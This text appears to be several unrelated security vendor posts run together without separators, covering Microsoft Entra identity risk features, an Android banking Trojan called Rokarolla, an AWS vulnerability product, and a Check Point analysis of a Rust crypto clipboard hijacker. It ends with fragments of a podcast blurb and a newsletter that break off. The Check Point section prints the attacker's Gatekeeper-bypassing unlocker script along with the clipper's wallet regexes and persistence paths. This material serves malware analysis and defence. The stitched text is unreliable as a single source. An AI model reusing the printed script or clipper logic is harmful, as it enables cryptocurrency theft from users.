AI helps cyberattackers move faster across the attack chain: personalizing social engineering at scale, automating reconnaissance, analyzing leaked credentials, identifying privileged users, probing exposed systems, and adapting tactics in real time. Attacks that once depended on manual effort can now unfold with greater speed, scale, and autonomy.
Yet even as methods evolve, identity remains one of the most common entry points. Every account, admin, workload, application, non-human identity, and AI agent can become a path to sensitive data and critical systems if not properly secured. Attackers do not need to break every defense; they only need to compromise or misuse the right identity with the right access at the right moment.
When attacks are accelerated by AI, speed and accuracy in detection and response are critical. Identity security can no longer operate in silos. Even a minor delay between when a threat is detected and action is taken can be the difference between suspicious activity becoming a contained incident or a business-impacting breach. This shift is reshaping how organizations think about security. The imperative is becoming clear: identity and security teams need comprehensive visibility and integrated solutions that streamline how they prevent, detect, and respond to identity threats.
Securing the future of identity at the speed of AI
One of the biggest security challenges organizations face today is fragmentation, and identity security is no exception. IAM and SOC teams often work across separate tools, separate workflows, and separate operational models. But identity attacks don’t respect those organizational boundaries.
Modern identity attacks span infrastructure, access control, and detection. At Microsoft, we understand this, and we are continuing to expand how Microsoft Entra and Microsoft Defender work together to provide more unified identity security experiences.
Actionable intelligence, everywhere
At RSA earlier this year, we unveiled our unified identity risk score, a new way to turn broader attack-chain insight into real-time access decisions. This score analyzes and correlates relevant signals across related accounts, sessions, workloads, and applications to surface a single, comprehensive evaluation of an identity’s true risk level and enable more dynamic response directly within authentication flows as part of risk-based Conditional Access policies.
View of a risky user within Entra ID Protection with new identity risk score and attack timeline.
Identity admins also gain a stronger operational experience through the new Microsoft Entra ID Protection experience. Rather than forcing identity teams to piece together risk signals across disconnected views, the updated experience brings deeper visibility into risky users, sign-ins, workloads, and associated detections in one place. The new identity risk score adds another layer of context by surfacing insights across related accounts and activity, including signals from Microsoft environments and connected identity activity beyond them. This helps admins understand whether a risky user, agent, workload, or sign-in is an isolated event or part of a broader pattern spanning sessions, applications, and associated accounts.
New user dashboard in Entra ID Protection which provides deeper visibility for identity admins into risky users, sign-ins, and associated detections.
New risky user details view provides more information about a user’s risk and the attack timeline within Entra ID Protection.
That richer context gives identity teams a more complete view of how risk is developing across the identity estate. Admins can better understand how risk is calculated, which related accounts or workloads contributed to the score, what detections are driving concern, and why a given identity requires attention. By connecting Microsoft and cross-environment signals into a single evaluation, the risk score helps identity admins prioritize the identities that matter most, make more informed access decisions, and explain the rationale behind remediation actions with greater confidence.
For security operations teams, this new score helps prioritize and triage investigations faster by focusing analysts on the identities that pose the greatest risk. But knowing what to fix is only half the challenge. In many organizations, security operations teams lack the needed permissions to take action; instead, they can only wait for separate IAM workflows to resolve the issue. That delay creates friction during moments when response speed matters most. Some solutions address this by giving SOC teams, or the security application itself, broad standing permissions across the identity environment. That may solve the permissions issue, but it also expands the blast radius if the application or identity is misused or compromised.
Microsoft takes a different approach because our solution natively spans identity infrastructure, the identity control plane, and ITDR. Customers get streamlined workflows across the full identity security lifecycle, and with a new identity-focused RBAC role, coming soon in public preview, security operations teams can access the core identity response actions they need without broad administrative permissions. This allows organizations to preserve least privilege access while reducing operational friction between IAM and SOC teams. Combined with the native privileged identity management in Microsoft Entra, organizations can also create just-in-time access policies for these response roles, further reducing standing privilege while still enabling responders to elevate quickly during incidents and investigations.
Together, unified risk, the new Microsoft Entra ID Protection experience, and least-privilege response roles give identity and security teams the shared context and governed action paths they need to move from insight to response faster.
Shifting left with proactive prevention
Shifting identity protection left means addressing risk earlier, before it becomes an active threat or incident. By continuously strengthening posture and adapting access controls as conditions change, organizations can reduce exposure, improve resilience, and stay ahead of emerging risks.
The Conditional Access Optimization Agent continues to evolve to help organizations keep pace with a rapidly changing threat landscape. Instead of manually auditing policies or reacting after gaps are exposed, the agent continuously analyzes identity signals, usage patterns, and emerging threats to recommend the right policy changes at the right time. New recommendations, like the “Block risky user agent” policy, are designed to address emerging attack vectors such as agent-based abuse and automated access attempts. These optimizations give organizations a more adaptive way to enforce Zero Trust, where access decisions continuously adjust based on risk and context rather than relying on one-time configuration.
And as part of our continued effort to help customers close the loop and move beyond reactive responses, we are soon bringing more threat detections and insights from Defender that are automatically fed directly into the Conditional Access Optimization recommendations in Microsoft Entra. Administrators receive clear, explainable, and reviewable recommendations that outline why the change is important, who is impacted, and what action to take, empowering a more proactive and preventative approach to mitigating future attacks.
Accelerating response
In AI-accelerated attacks, response speed matters just as much as visibility. Manual investigation and response will always be necessary, but in today’s AI-accelerated threat landscape, defenders need automation that helps level the playing field. That’s why we were so excited to extend the Security Alert Triage Agent to identity scenarios and pair it with automatic attack disruption and new predictive shielding capabilities. Together, these capabilities create an end-to-end automation loop that helps defenders triage identity threats, disrupt active attacks, drive response, and continuously harden posture before the next incident.
At Microsoft Security, we are building toward that future by embedding this kind of adaptive, AI-driven enforcement directly into identity security. That means accelerating detection across the attack chain, speeding up investigation and response through AI, and ensuring every authentication and access decision reflects real-time risk. It also means bringing IAM and security operations closer together, so identity signals, policy enforcement, and incident response work as one continuous system rather than separate workflows.
The future of identity security
In the AI era, identity is not just a control point. It is the system that connects prevention, detection, and response into a single, adaptive defense system. And Microsoft is building and operating that system as both the identity provider and policy enforcement layer, with real-time risk signals that can immediately influence access decisions. The organizations that defend identity fastest will be the organizations that defend everything else better.
Prevent identity attacks, ensure least privilege access, unify access controls, and improve the experience for users with comprehensive identity and network access solutions across on-premises and clouds.
Researchers have analyzed a new Android banking Trojan called Rokarolla. It can effectively take over a device, steal banking and crypto login details from more than 200 apps, and quietly monitor much of what you do on your phone.
On an infected device, Rokarolla steals banking and crypto login details. It also uses fake lock-screen overlays to capture your PIN, pattern, or password.
When you open one of the banking or crypto apps on Rokarolla’s target list, the malware downloads and displays a matching fake login page over the real app. Anything you type into the fake page, including usernames, passwords, and card numbers, is sent to the attackers.
Separately, Rokarolla abuses Android’s Accessibility features to monitor activity across the device. It can recognize WhatsApp screens by looking for familiar labels such as “Chats” and “Calls,” extract contact information, read SMS messages, and send new ones. These capabilities can help it intercept one-time passwords (OTPs) and two-factor authentication (2FA) codes.
Rokarolla can take control of text messages and phone calls, helping it block security alerts and hide signs of fraud.
It can also record everything you type and see on the screen. If you copy and paste a cryptocurrency wallet address, the malware can secretly replace it with one belonging to the attackers.
Other features help the malware stay hidden, including the ability to hide its icon, silence the device, turn off Google Play Protect, and prevent the screen from going to sleep.
How it spreads
Rokarolla is distributed through rogue websites, where it is offered as fake versions of popular apps like TikTok or Chrome.
Malwarebytes blocks the download site
Instead of sending you to the official Google Play Store, these malicious sites push you to download the app directly, a process known as sideloading. After you install it, the fake app poses as Google Play Protect and quietly downloads and installs the malware that carries out the attack.
To gain the access it needs, the fake app asks for powerful permissions, including Accessibility access, the permission to read SMS messages, and access to notifications. Because these requests can look legitimate, many users may approve them without realizing the risks.
How to stay safe
To avoid banking Trojans like Rokarolla, there are a few guidelines you should follow:
Don’t trust apps that claim to be Google Play Protect or another system component. You should never need to install these manually.
Don’t sideload apps that are available on the Google Play Store. While malware can sometimes slip into official stores, the risk is much greater elsewhere.
Deny powerful permissions to apps downloaded from links or websites, especially if they ask for Accessibility access, SMS permissions, or the ability to handle calls, even though that doesn’t match their stated purpose.
In fact, any request for Accessibility access should be treated with caution. If an app that is not clearly an accessibility tool asks for it, deny the request and reconsider whether you trust the source.
Scrutinize banking and crypto login screens. If something looks off, or you see multiple login prompts, close the app and relaunch it from its official icon.
Scammers know more about you than you think.
Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in.
We’ve been thinking deeply about enterprise security. The operating model that served us for the past decade (collect telemetry, store it, query it, build dashboards to watch it) is no longer keeping pace. We need to shift to the new world: telemetry, context, reasoning, and actions. An approach that produces outcomes. The latest cybersecurity frontier models further made this shift urgent. Models like Claude Mythos can now find software vulnerabilities and reason through complex attack paths at machine-speed, leading to an exponentially increasing backlog of vulnerabilities.
Introducing AWS Continuum for code vulnerabilities
Today, we’re announcing AWS Continuum for code vulnerabilities, now available in gated preview. Continuum for code vulnerabilities addresses the full lifecycle of a code vulnerability at machine speed: from discovery through actions. It reasons over your environment, confirms what is real, and drives toward resolution. It’s model agnostic, using multiple frontier models where each performs best, and is built to incorporate the latest and most capable models as they emerge.
Continuum is built on lessons learned from running security across AWS and Amazon.com. Securing businesses that operate in different industries required a system that understands business context rather than applying generic rules uniformly.
How it works
Continuum for code vulnerabilities reasons over your full environment. This context includes structured data already living in Amazon Web Service (AWS) (your infrastructure, permissions, network topology, code) and the unstructured data that captures how your organization operates and your risk profile (your documents, communications, business priorities).
Continuum for code vulnerabilities operates in four continuous phases.
Discovery: Security teams tackle a backlog of vulnerabilities, and many are already using frontier models to find more. Continuum starts by ingesting that existing backlog and performing its own vulnerability scan of your environment. This creates a more comprehensive view of vulnerabilities and the associated attack paths.
Prioritization: Continuum uses context to evaluate, enrich, and prioritize every finding. Is the affected component deployed, is it reachable, is it in a production path, and what would the business impact be if exploited? The result is an evidence-backed list of priorities, allowing Continuum and your team to focus on what’s most important.
Validation: Continuum validates findings to surface false positives before they waste your team’s time. It contextualizes vulnerabilities against your environment. It then constructs working exploit examples in a sandboxed environment that provide concrete, reproducible evidence of the issue.
Mitigation and remediation: Continuum assesses existing defenses around a validated issue, including blocking and compensating controls along with detection mechanisms. It then draws on its understanding of the codebase, context, and findings to recommend mitigation or remediation of the vulnerability with a network change, policy change, or code patch. The patch recommendation is validated using the same system that confirmed the vulnerability. It also provides blast radius visibility and rollback paths where feasible.
This is just the beginning. We’re starting with code (1st and 3rd party) and then expanding to other aspects of security.
Trust is graduated
Continuum starts in learn mode with a human in the loop. Every recommendation includes the reasoning behind it. As you gain confidence, you can graduate Continuum to enforce mode, enabling remediation that can be increasingly automated based on categories and risk profiles you define.
Continuum capabilities
In addition to Continuum for code vulnerabilities, Continuum includes capabilities you might already know. The AWS Security Agent penetration testing and code scanning functionality is now part of Continuum as Continuum pen testing and Continuum code scanning (Preview). We’re also launching Continuum threat modeling in preview, which automatically generates comprehensive threat models from design documents or source code and outputs results in STRIDE format. These capabilities serve as detection and analysis sources that feed into the broader Continuum loop of discovery, prioritization, validation, and remediation.
Getting started
We’re working with customers across financial services, automotive, and technology to shape AWS Continuum. Customer feedback confirms the direction: security teams want tools that earn trust and take action.
AWS Continuum for code vulnerabilities is available in gated preview. Sign up to request access at AWS Continuum.
If you have feedback about this post, submit comments in the Comments section below.
The threat actor uses multiple channels to promote and distribute a Rust clipboard hijacker, starting with a dedicated phishing page as the central hub and extending to GitHub and SourceForge projects promoted by fake accounts. A dedicated YouTube channel, using AI‑generated narrators, suspicious view spikes, and highly positive (likely coordinated) comments, further reinforces the illusion of popularity and trustworthiness.
In addition, the threat actor’s tools were also promoted through posts on legitimate news websites. These articles appear to be either paid/promoted posts or content published via compromised news outlets, giving the malware extra legitimacy by placing it alongside trusted news content.
The same illusion mechanism extends to VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.
Introduction
In this research, we analyze a clipboard hijacker campaign that is hidden inside a collection of “solutions” and “tools” that claim to give users an unfair advantage. These offers include Solana and Pump.fun sniper bots (automated tools that try to buy new tokens or meme coins faster than other traders), Aviator Predictor (software that claims to predict the outcome of the popular “Aviator” multiplier game), and several crash‑game “predictors” (programs that supposedly forecast when online betting games will stop and “crash”). The operation mainly targets users who are looking for shortcuts and quick profits—particularly crypto owners and online crash‑game gamblers and traders who are attracted by promises of automated gains and “predictable” outcomes.
To make this operation look legitimate and attractive, the threat actor has built an ecosystem across several platforms. A WordPress phishing site serves as the main landing page, while GitHub and SourceForge projects are used to host and distribute the files. These repositories show inflated engagement—such as high numbers of stars, forks, ratings, and downloads—likely generated by “Ghost Networks” of fake accounts. A YouTube channel, featuring AI‑generated narrators and suspicious spikes in views, promotes the same tools and adds another layer of social proof. In addition, the actor abuses sentiment and reputation signals on VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.
Behind this social‑engineering and promotion layer, the actual payloads delivered to victims are Rust‑based clipboard hijackers for both Windows and macOS. These binaries install persistence, continuously monitor the clipboard for strings that look like cryptocurrency wallet addresses, and replace them with attacker‑controlled wallets from large, embedded lists. The attacker‑controlled cryptocurrency wallets appear to have received multiple transactions, providing the actor with notable illicit gains.
Phishing Page
This phishing website promotes a mix of “edge” tools that all promise easy, unfair advantages. On one side, Solana / Pump.fun / DEX sniper bots claim they can automatically buy and sell new meme coins faster than other traders. On the other, Aviator Predictor and several Crash Predictors pretend to “decode” or “predict” crash‑game results so users can supposedly win more often. In most cases, victims are funneled to this site through links shared on social media, crypto forums, and Telegram channels. The clear targets are crypto owners, gamblers, and traders who are already looking for shortcuts and quick, automated gains.
Figure 1 — Phishing page.
The WordPress author is @JoseCmanXD, and the same name is used for the Telegram contact provided on the website.
Figure 2 — Telegram account provided in phishing page.
From the website, the actor provides links to GitHub, SourceForge, and YouTube. Across these platforms, the associated content shows inflated engagement, including likely manipulated views and interactions, making the tools appear more popular and trustworthy than they really are.
This inflated engagement appears to be driven by the threat actor’s use of multiple Ghost Networks on each platform. These Ghost Networks consist of fake or low-quality accounts and channels that repeatedly promote his tools, boost view counts, and generate likes or comments, thereby creating a false sense of credibility and social proof for potential victims.
GitHub & SourceForge
The actor appears to operate at least six GitHub accounts to promote and distribute his malicious software. These accounts also seem to collaborate with each other, as they are sometimes listed as contributors to one another’s repositories.
Figure 3 — GitHub account.
The main accounts attributed to the threat actor are Decryptor-j, crash-predictor1, roblox-script1, hack-scripts, and stake-mines. Many of their repositories have received multiple stars and forks from various accounts. This activity appears to be the result of the threat actor’s use of GitHub Ghost Networks, where controlled or fake accounts repeatedly star and fork the repositories to create an illusion of popularity and trustworthiness.
Figure 4 — Repository with 146 stars and 62 forks.
In total, just from GitHub, there appear to be just over 5,000 downloads and potential infections originating from the accounts mentioned above. Of these, over 1,250 downloads are associated with the macOS version of the promoted software “Aviator Predictor”, also indicating an impact on Mac users. When we also consider downloads originating from other platforms and the phishing website itself, the overall number of downloads and potential infections significantly exceeds the figures observed on GitHub alone.
In addition to GitHub, the threat actor also promotes another similar platform on the phishing page, SourceForge. SourceForge allows users to rate projects and leave comments. On this platform, we again observe fake or coordinated accounts posting highly positive feedback, similar to the behavior seen on other platforms that support user engagement. This activity further reinforces a misleading impression of legitimacy and reliability around the malicious tools.
Figure 5 — Positive engagement.
In general, SourceForge appears to have a smaller number of ghost accounts operating on its platform compared to other services observed in previous cases. Although we see relatively few comments or reviews, the download statistics seem highly manipulated, with a total of 44,485 downloads, the majority of which appear to originate from Pakistan and India.
Figure 6 — SourceForge download statistics.
It is interesting to note that the majority of downloads (37,460) appear to come from devices running Android. This is highly suspicious, as the developer currently offers only Windows and macOS versions. We cannot fully confirm this hypothesis, but a plausible explanation is the use of an Android farm to artificially inflate the download count on SourceForge.
YouTube & AI Usage
Another platform promoted through the phishing site is a YouTube channel showcasing the advertised “software” solutions. The videos have a relatively high number of views and likes, which likely helps attract additional victims and convinces them of the supposed effectiveness of these tools. Some older videos appear to target a Russian-speaking audience, suggesting that the threat actor initially focused on Russian-speaking user communities. More recent videos, however, appear to target a broader, global audience by using English.
Figure 7 — YouTube Channel.
Through the actor’s YouTube account, we again observe contact details that link the channel back to the WordPress site and the Telegram account @JoseCmanXD, further strengthening the attribution between these platforms and the same threat actor.
Figure 8 — Channel contact details.
The videos have a substantial number of views, however, their view counts do not show organic growth. Instead, we observe suspicious spikes in views, which is consistent with the use of YouTube Ghost Networks, where bot accounts artificially engage with the videos to inflate view numbers and make them more attractive to potential viewers.
In the comment section, we observe highly positive engagement that is likely used to lure potential victims and make them trust the effectiveness of the showcased solution. Many of these accounts appear to be Ghost Accounts that are used to generate fake views and artificial engagement. We also observe comments from potentially real users complaining about the actual effectiveness of the tools, which further indicates that the promoted software does not work as advertised.
Figure 10 — Positive engagement.
The YouTube video is styled to look like a genuine personal tutorial. It shows a desktop screen with visible mouse movements, as if a real user is demonstrating the “software” in real time. At the same time, an AI-generated narrator appears in the bottom-right corner, providing continuous instructions. This combination of on-screen activity and synthetic presenter is likely used to build trust and make the demonstration appear more authentic and convincing to potential victims.
Figure 11 — AI Generated Narrator.
The use of AI by cybercriminals is not limited to AI-assisted malware. Threat actors are constantly trying to incorporate these new technologies throughout the entire attack chain, including phishing, social engineering, content generation, and delivery mechanisms.
VirusTotal Upvotes Manipulation
Check Point Research has observed that some VirusTotal accounts post community comments and cast benign votes in an attempt to portray clearly malicious Indicators of Compromise (IOCs) as harmless. When this sentiment manipulation coincides with low antivirus detection rates, reputation-based detection systems may be more likely to misclassify these IOCs as benign, potentially allowing them to bypass security controls.
Reputation-based detection allows security teams to make fast, risk-informed decisions about files, URLs, and other network indicators by leveraging global threat intelligence, rather than relying solely on local detections. A key contributor to this intelligence ecosystem is VirusTotal, which aggregates malware and phishing indicators from dozens of security engines and community submissions. This shared visibility helps security vendors rapidly identify emerging threats and malicious infrastructure, strengthening reputation models when combined with their own telemetry and behavioral detection capabilities.
Figure 12 — VirusTotal upvotes and safe comment.
This specific threat actor has incorporated multiple Ghost Network services across GitHub, SourceForge, YouTube, and even VirusTotal. We systematically observed samples downloaded from the phishing site that not only had a low detection rate, but also showed positive engagement on VirusTotal, including upvotes and comments describing the binary as safe. This coordinated activity is likely intended to reduce suspicion and increase victims’ trust in the malicious files.
Figure 13 — VirusTotal upvotes and safe comments, through multiple samples.
While the low detection rate itself is not caused by the positive engagement, the combination of low detections and seemingly positive community feedback creates a strong, but false, impression of safety.
Promotion via News Sites & Forums
While searching for traces of the Telegram handle @JoseCmanXD, we also found references on legitimate news websites. These posts appear to be advertisements promoting the tool’s supposed capabilities and include links back to the phishing page, further luring potential victims into downloading the malicious software.
Figure 14 —The National Law Review, decryptor post.
Such posts could potentially be used to further legitimize the tool and make it appear trustworthy, as its capabilities are being advertised on legitimate news websites. This kind of exposure can mislead users into believing the solution is safe and reputable, when in reality it is part of a malicious campaign.
By searching further, we identified additional related posts from other news-oriented sources. All of these posts appear to have been published on the same day, April 27, 2026, suggesting a coordinated effort to promote the malicious tool within a short time frame.
Figure 15 — Google search results.
The majority of these posts have since been taken down and now appear only as remnants in Google search results. It is unclear whether the threat actor published them through paid advertisements that were later removed by the news outlets after being notified of their malicious nature, or whether there is a malicious service—or a set of compromised news outlets—that offers this kind of fraudulent promotion on legitimate websites.
Beyond using news outlets, the actor also promotes the malicious tool on various forums, particularly those frequented by the targeted audience, such as cryptocurrency-focused communities.
The actor posted on BitcoinTalk.org a long-running online forum founded in the early days of Bitcoin, where users discuss cryptocurrencies, blockchain technology, mining, and related projects. While the site itself is legitimate and historically significant in the crypto community, anyone can post content, including promotions, investment opportunities, and potential scams.
Figure 16 — Bitcoin-related forum post.
Early signs of the actor’s activity were found on a hacking forum where the user has been active since 2019. In 2022, the user created a post titled BLACKHAT | Bitcoin Stealer | Advanced Builder | Tutorial | Clipper [Address Changer]+Re-Fud method, in which he shared a malicious crypto-related tool.
Figure 17 — @JoseCmanXD CryptoRipper.
In addition to providing this malicious tool, the same account has shown interest in other topics such as GET UNLIMITED YOUTUBE VIEWS FREE. This activity could help explain the unusually high view counts and abnormal view spikes observed on the associated YouTube content.
Windows Version
The ‘solutions’ are downloaded as a ZIP archive and contain multiple files, the majority of which are unused throughout the execution of the malicious program. While the threat actor updates the main malicious sample every few weeks, the rest of the unused samples remain untouched.
The victim needs to trigger SniperBot_Premium(Free).exe (or other related name depending on the “solution” promoted). This file is a simple .NET loader which executes the file located in src/config/silkebin.exe.
Figure 18 — Execution of Rust Clipboard Hijacker.
This Windows executable is a Rust-built cryptocurrency clipboard hijacker (clipper). It installs itself for persistence and then continuously monitors the user’s clipboard for cryptocurrency wallet addresses. When it detects a supported address format, it replaces the clipboard contents with an attacker‑controlled wallet address taken from an internal list. The sample achieves persistence by copying itself to %APPDATA%\\silke\\silke.exe and creating a shortcut in the Startup folder so it will automatically run at logon.
The malware creates a hidden window and registers as a clipboard listener using Windows APIs such as AddClipboardFormatListener, OpenClipboard, GetClipboardData, EmptyClipboard, and SetClipboardData. Each time the clipboard changes, it checks whether the new text matches the pattern of a cryptocurrency wallet address (for example, Bitcoin, Ethereum/EVM, Litecoin, Tron, XRP, Cardano, and others) using regular expressions.
If a match is found, the malware replaces the clipboard text with an attacker‑controlled address from a large internal list. This list contains over 15,500 wallet addresses: about 15,000 are Bitcoin-related (5,000 Bitcoin bech32, 5,000 Bitcoin legacy, and 5,000 Bitcoin P2SH), roughly 500 are Ethereum addresses, and the remaining entries include Bitcoin Cash/Gold, Monero, Dogecoin, Cardano, Litecoin, and other cryptocurrencies.
Currency
Regex
Attacker’s Wallets (Count)
Bitcoin Bech32
\\b(bc1)[A-Za-z0-9]{26,45}\\b
5000
Bitcoin Legacy (P2PKH)
\\b(1)[A-Za-z0-9]{26,35}\\b
5000
Bitcoin P2SH
\\b(3)[A-Za-z0-9]{26,35}\\b
5000
Ethereum / EVM
\\b(0x)[A-Za-z0-9]{40,46}\\b
501
Bitcoin Cash (CashAddr)
\\b(q)[A-Za-z0-9]{26,43}\\b
1
Bitcoin Cash (full prefix)
\\b(bitcoincash:)[A-Za-z0-9]{26,58}\\b
1
Bitcoin Gold
\\b(btg)[A-Za-z0-9]{26,43}\\b
1
Stellar (XLM)
\\b(G)[A-Za-z0-9]{26,40}\\b
1
Cardano legacy / others
\\b(A)[A-Za-z0-9]{26,40}\\b
1
Monero (spend key prefix 4)
\\b(4)[A-Za-z0-9]{90,98}\\b
1
Monero (integrated address)
\\b(8)[A-Za-z0-9]{90,98}\\b
1
Dogecoin
\\b(D)[A-Za-z0-9]{26,35}\\b
1
Cardano (Shelley)
\\b(addr1)[A-Za-z0-9]{26,108}\\b
1
Cardano (Byron)
\\b(DdzFF)[A-Za-z0-9]{26,108}\\b
1
Litecoin (L-prefix)
\\b(L)[A-Za-z0-9]{26,35}\\b
1
Litecoin (M-prefix)
\\b(M)[A-Za-z0-9]{26,35}\\b
1
Litecoin Bech32
\\b(ltc)[a-z0-9]{26,68}\\b
1
Zcash (t-address)
\\b(t1)[A-Za-z0-9]{26,36}\\b
1
Tron (TRX)
\\b(T)[A-Za-z0-9]{32,37}\\b
1
XRP (Ripple)
\\b(r)[A-Za-z0-9]{31,38}\\b
1
The attacker’s wallets appear to be replaced quite frequently. In many cases, it seems that once a malicious transaction is completed, the attacker swaps the used wallet for a new, “clean” one. Older samples of this variant contain fewer attacker-controlled wallets—typically only one per targeted currency—and also target fewer cryptocurrencies overall. The latest version expands this list to include additional cryptocurrencies that were not previously targeted, such as Bitcoin Gold, Stellar (XLM), Cardano legacy/Byron, and Dogecoin. At the same time, the attacker has removed support for one cryptocurrency in the new variant, Binance Chain.
Below is an example of how victims are tricked into sending money to the attacker’s wallet.
Figure 19 — Clipboard Hijacker, replacing with attacker’s wallet.
macOS Version
Through his website, GitHub-controlled repositories, and SourceForge projects, the threat actor is also targeting macOS users. The “solutions” provided for macOS are aimed at the same audience as the Windows versions, with the same ultimate goal of stealing cryptocurrency from victims.
The victim downloads a ZIP file from one of the sources mentioned above and finds, among other items, an instruction file named !!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED.txt.
!!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED INSIDE THE FOLDER !!
1- In Finder, Control-click (or right-click) unlocker (or unlocker.command).
2- Choose Open from the contextual menu.
3- In the dialog that appears, click Open again.
A small Terminal window or dialog will appear. Wait — it will automatically prepare and open HashScanner.
Unlocker Fixes HashScanner when you see an error like
"App is damaged and can't be opened" or "can't be opened because it is from an unidentified developer":
If this does not work, please contact @JoseCmanXD on telegram and include a screenshot of the error.
Thank you!
The instruction file tells the user to run unlocker.command, which automates the process of “fixing” the blocked application. The script searches for .app bundles in the same folder (or uses an app dragged onto it), removes the macOS quarantine attribute using xattr -cr, and then launches the chosen application with open. By wrapping this logic in simple dialogs and messages, the attacker makes it easy for non-technical users to bypass Gatekeeper warnings and run the malicious app.
#!/bin/bash
# unlocker.command - auto unlocker for .app bundles in the same folder
# Double-click this file in Finder (or drag an .app onto it) to remove quarantine and open the app.
# Get the directory where this script lives (works when double-clicked)
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# If user passed one or more args (drag-drop), use those instead of auto-search
if [ $# -gt 0 ]; then
targets=()
for a in "$@"; do
targets+=("$a")
done
else
# Find .app bundles in the same folder (only top-level)
targets=()
while IFS= read -r -d $'\\0' f; do
targets+=("$f")
done < <(find "$DIR" -maxdepth 1 -type d -name "*.app" -print0)
fi
# Helper to show macOS dialog
show_dialog() {
/usr/bin/osascript -e "display dialog $1 buttons {\\"OK\\"} with title \\"Unlocker\\""
}
# No apps found
if [ ${#targets[@]} -eq 0 ]; then
/usr/bin/osascript -e 'tell app "Finder" to display dialog "No .app found in the same folder. Please place your .app (e.g. HashScanner.app) in the folder with this Unlocker and double-click again, or drag the .app onto this Unlocker." buttons {"OK"} with title "Unlocker"'
exit 1
fi
# If exactly one target, use it automatically
if [ ${#targets[@]} -eq 1 ]; then
chosen="${targets[0]}"
else
# Multiple: ask user to choose via AppleScript list
# Build a quoted list of basenames for Applescript
applescript_list=""
for f in "${targets[@]}"; do
name="$(basename "$f")"
# escape backslashes and double quotes
esc_name="${name//\\\\/\\\\\\\\}"
esc_name="${esc_name//\\"/\\\\\\"}"
if [ -z "$applescript_list" ]; then
applescript_list="\\"$esc_name\\""
else
applescript_list="$applescript_list, \\"$esc_name\\""
fi
done
chosen_name=$(/usr/bin/osascript <<AS
set theList to { $applescript_list }
set chosen to choose from list theList with prompt "Choose the app to unlock and open:" default items {item 1 of theList}
if chosen is false then
return "CANCEL"
else
return item 1 of chosen
end if
AS
)
if [ "$chosen_name" = "CANCEL" ]; then
/usr/bin/osascript -e 'display dialog "No app selected. Exiting." buttons {"OK"} with title "Unlocker"'
exit 0
fi
# find the full path that matches the chosen base name
chosen=""
for f in "${targets[@]}"; do
if [ "$(basename "$f")" = "$chosen_name" ]; then
chosen="$f"
break
fi
done
if [ -z "$chosen" ]; then
/usr/bin/osascript -e 'display dialog "Selected app not found. Exiting." buttons {"OK"} with title "Unlocker"'
exit 1
fi
fi
# Final safety check: chosen is a directory and ends with .app
if [ ! -d "$chosen" ]; then
/usr/bin/osascript -e 'display dialog "The selected item is not an application. Exiting." buttons {"OK"} with title "Unlocker"'
exit 1
fi
# Run xattr -cr and open. Both commands are absolute paths to avoid PATH issues.
/usr/bin/printf "Removing quarantine from: %s\\n" "$chosen"
/usr/bin/xattr -cr "$chosen" 2>/dev/null
ret=$?
if [ $ret -ne 0 ]; then
/usr/bin/osascript -e 'display dialog "Failed to remove quarantine (permission or other error). You can try running this script from Terminal for more details." buttons {"OK"} with title "Unlocker"'
# still attempt to open so user can try
fi
/usr/bin/printf "Opening: %s\\n" "$chosen"
/usr/bin/open "$chosen"
# Let user know we're done
/usr/bin/osascript -e 'display dialog "Done — the app was unlocked (if possible) and opened." buttons {"OK"} with title "Unlocker"'
exit 0
Similar to its .NET Windows variant, the main program on macOS is also just a loader that executes another file located in nested folders.
The executed file is a malicious macOS executable written in Rust that acts as a cryptocurrency clipboard hijacker (clipper). Its main loop monitors the macOS pasteboard, detects wallet-like strings using embedded regular expressions, and replaces them with hardcoded attacker-controlled wallet addresses bundled inside the binary.
To maintain persistence, the malware writes a shell script wrapper to ~/launch.sh and installs a RunAtLoad and KeepAlive LaunchAgent plist at ~/Library/LaunchAgents/com.example..plist, causing launchd to silently re-execute the binary on every login and restart it if it dies. A 30-second watchdog loop (mw_watchdog_copy_and_relaunch) continuously re-writes both files and clones the binary via fcopyfile, making the persistence self-healing against manual removal without first killing the process.
The macOS variant appears to be closer in design to the older Windows version, where each regular expression pattern is associated with only a single attacker-controlled wallet address, rather than multiple addresses per currency.
In conclusion, this operation combines simple but effective malware with strong social engineering and aggressive cross‑platform promotion. A WordPress phishing site, manipulated engagement on GitHub and SourceForge, AI‑driven YouTube videos, VirusTotal sentiment abuse, and even posts on news outlets and crypto forums all work together to make the tools appear popular, legitimate, and safe. The updated Ghost Networks model is designed to repeatedly expose the victim to positive signals (stars, comments, votes, “safe” labels) so that, by the time they run the tool, it feels like a normal, benign application rather than a threat.
From a user’s perspective, the ability to manipulate sentiment and reputation on platforms like VirusTotal marks an important evolution in how threat actors shape trust. Even if this campaign is not primarily aimed at large enterprises, it shows that attackers no longer rely only on classic malware distribution techniques to reach victims. Instead, they can manipulate reputation systems, crowd‑sourced feedback, and cross‑platform promotion to lower suspicion and attract more users.
These techniques can also be abused by other types of actors distributing and promoting information stealers or other malware families, which can eventually lead to full ransomware compromises in more mature environments. In other words, the same playbook of fake reputation and broad promotion can be reused to deliver more damaging payloads over time.
Key Findings Trust is being manufactured at scale. A single threat actor built a cross-platform ecosystem: a WordPress phishing hub, GitHub and SourceForge projects, a YouTube channel, crypto forums, and even posts on legitimate news sites, all engineered to make a malicious “tool” look popular, vetted, and safe Reputation systems themselves are now a target. The actor seeds benign votes and “safe” community comments on VirusTotal samples that already carry low detection rates, nudging reputation-based defenses toward misclassifying clearly malicious files as harmless AI is woven into the lure. Fake “tutorial” videos pair real-looking desktop demos with AI-generated narrators and […]
What we built, Fusion AI, runs at about a third the cost of a traditional external pentest, a human tester still signs off on every finding, and it is not here to replace anybody.
We have been hearing that one a lot. So when Melisa from our Business Capture team sat down with Brian Fehrman and me for this episode of AI Security Ops, she started with, “What is this thing you built, and is it the same hype everyone else is selling?”
Welcome to Issue #160 of Detection Engineering Weekly!
✍️ Musings from the life of Zack:
